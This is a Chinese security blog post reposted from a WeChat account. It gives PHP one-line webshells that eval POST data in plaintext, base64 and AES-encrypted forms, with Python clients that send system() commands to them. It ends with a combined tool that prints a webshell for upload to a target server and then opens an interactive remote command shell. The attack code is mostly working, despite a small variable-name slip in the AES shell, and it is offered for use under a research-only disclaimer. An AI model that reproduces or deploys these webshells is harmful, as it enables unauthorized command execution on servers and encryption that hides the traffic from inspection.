|
环境
phpstudy、python3.8
1、普通木马数据传输
新建一个webshell.php文件,内容为一句话木马
<?php @eval($_POST['pass']);?>
python编写一个接发端
import requests
url=input('webshell_url:')
pwd=input('webshell_pwd:')
proxy = {
'http': '127.0.0.1:8080',
'https': '127.0.0.1:8080'
}
while True:
cmd=input('$')
if cmd == 'exit':
exit()
send = "system('" + cmd + "');"
data={pwd:send}
r=requests.post(url=url,data=data,proxies=proxy)
print(r.text)
效果如下burp抓包进行查看
发现是原始的没有经过任何加密的数据传输
2、base64加密数据传输
新建一个webshell.php文件,内容如下
<?php @eval(base64_decode($_POST['pass']));?>
python编写一个接发端
import requests,base64
url=input('webshell_url:')
pwd=input('webshell_pwd:')
proxy = {
'http': '127.0.0.1:8080',
'https': '127.0.0.1:8080'
}
while True:
cmd=input('$')
if cmd == 'exit':
exit()
send = "system('" + cmd + "');"
base64_send= base64.b64encode(send.encode('utf-8'))
data1={pwd:base64_send}
r=requests.post(url=url,data=data1,proxies=proxy)
print(r.text)
效果如下通过burp进行抓包查看
发现传输数据是经过base64加密的
3、AES加密数据传输
新建一个webshell.php文件,内容如下
<?php
$key='woshinibaba66666';
$vi='nishiwoerzi66666';
$rce=openssl_decrypt(base64_decode($_POST['pass']), "AES-128-CBC",$key,OPENSSL_RAW_DATA,$vi);
$cmd=base64_decode($rec);
@eval($rce);
?>
python编写一个接发端
import requests,base64
from Crypto.Cipher import AES
BLOCK_SIZE = 16
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]
key='woshinibaba66666'
vi='nishiwoerzi66666'
def AES_Encrypt(key, data):
data = pad(data)
cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))
encryptedbytes = cipher.encrypt(data.encode('utf8'))
encodestrs = base64.b64encode(encryptedbytes)
enctext = encodestrs.decode('utf8')
return enctext
def AES_Decrypt(key, data):
data = data.encode('utf8')
encodebytes = base64.decodebytes(data)
cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))
text_decrypted = cipher.decrypt(encodebytes)
text_decrypted = unpad(text_decrypted)
text_decrypted = text_decrypted.decode('utf8')
print(text_decrypted)
return text_decrypted
if __name__ == '__main__':
url = input('webshell_url:')
pwd = input('webshell_pwd:')
proxy = {
'http': '127.0.0.1:8080',
'https': '127.0.0.1:8080'
}
while True:
cmd=input('$')
if cmd == 'exit':
exit()
send = "system('" + cmd + "');"
data1={pwd:AES_Encrypt(key,send)}
r=requests.post(url=url,data=data1,proxies=proxy)
print(r.text)
效果如下通过burp抓包查看数据
利用AES在线解密进行查看,数据传输是经过AES-CBC加密的
在线解密网址:http://tool.chacuo.net/cryptaes
整合代码
import requests,base64
from Crypto.Cipher import AES
BLOCK_SIZE = 16
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]
key='woshinibaba66666'
vi='nishiwoerzi66666'
def AES_Encrypt(key, data):
data = pad(data)
cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))
encryptedbytes = cipher.encrypt(data.encode('utf8'))
encodestrs = base64.b64encode(encryptedbytes)
enctext = encodestrs.decode('utf8')
return enctext
def AES_Decrypt(key, data):
data = data.encode('utf8')
encodebytes = base64.decodebytes(data)
cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))
text_decrypted = cipher.decrypt(encodebytes)
text_decrypted = unpad(text_decrypted)
text_decrypted = text_decrypted.decode('utf8')
print(text_decrypted)
return text_decrypted
if __name__ == '__main__':
print('----------------')
print('|1:普通传输 |n|2:base64加密传输|n|3:AES加密传输 |')
print('----------------')
print('说明:选择生成对应的webshell传到目标服务器')
use=input('[+] choice:')
if use =='1':
print("""<?php @eval($_POST['pass']);?>""")
if use =='2':
print("""<?php @eval(base64_decode($_POST['pass']));?>""")
if use =='3':
print("""<?php $key='woshinibaba66666';$vi='nishiwoerzi66666';$rce=openssl_decrypt(base64_decode($_POST['pass']), "AES-128-CBC",$key,OPENSSL_RAW_DATA,$vi);$cmd=base64_decode($rec);@eval($rce);?>""")
con=input('[+] continue(yes/no):')
if con =='no':
exit()
if con=='yes':
url = input('[+] webshell_url:')
pwd='pass'
while True:
data=''
cmd=input('[-] $:')
if cmd == 'exit':
exit()
send = "system('" + cmd + "');"
if use =='1':
data = {pwd:send}
if use =='2':
base64_send = base64.b64encode(send.encode('utf-8'))
data = {pwd: base64_send}
if use=='3':
AES_send=AES_Encrypt(key,send)
data={pwd:AES_send}
r=requests.post(url=url,data=data)
print(r.text)
推 荐 阅 读
欢 迎 加入学习
机器人md5解密丫
原文始发于微信公众号(鹏组安全):python连接PHP木马^加密传输数据
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论